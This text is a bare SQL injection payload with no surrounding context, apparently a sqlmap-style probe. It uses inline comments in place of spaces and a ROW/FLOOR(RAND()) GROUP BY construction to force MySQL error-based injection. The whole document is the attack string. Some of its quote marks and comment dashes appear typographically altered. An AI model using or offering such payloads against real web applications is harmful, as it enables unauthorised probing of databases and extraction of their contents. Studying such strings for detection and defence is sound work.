1′ AND ,(SELECT/**/7993/**/FROM/**/(SELECT/**/ROW(7993,5832)>(SELECT/**/COUNT(*),CONCAT(‘~’,(SELECT/**/(ELT(7993=7993,1))),’~’,FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/2812/**/UNION/**/SELECT/**/9857/**/UNION/**/SELECT/**/7202/**/UNION/**/SELECT/**/7405)a/**/GROUP/**/BY/**/x))s)– – 1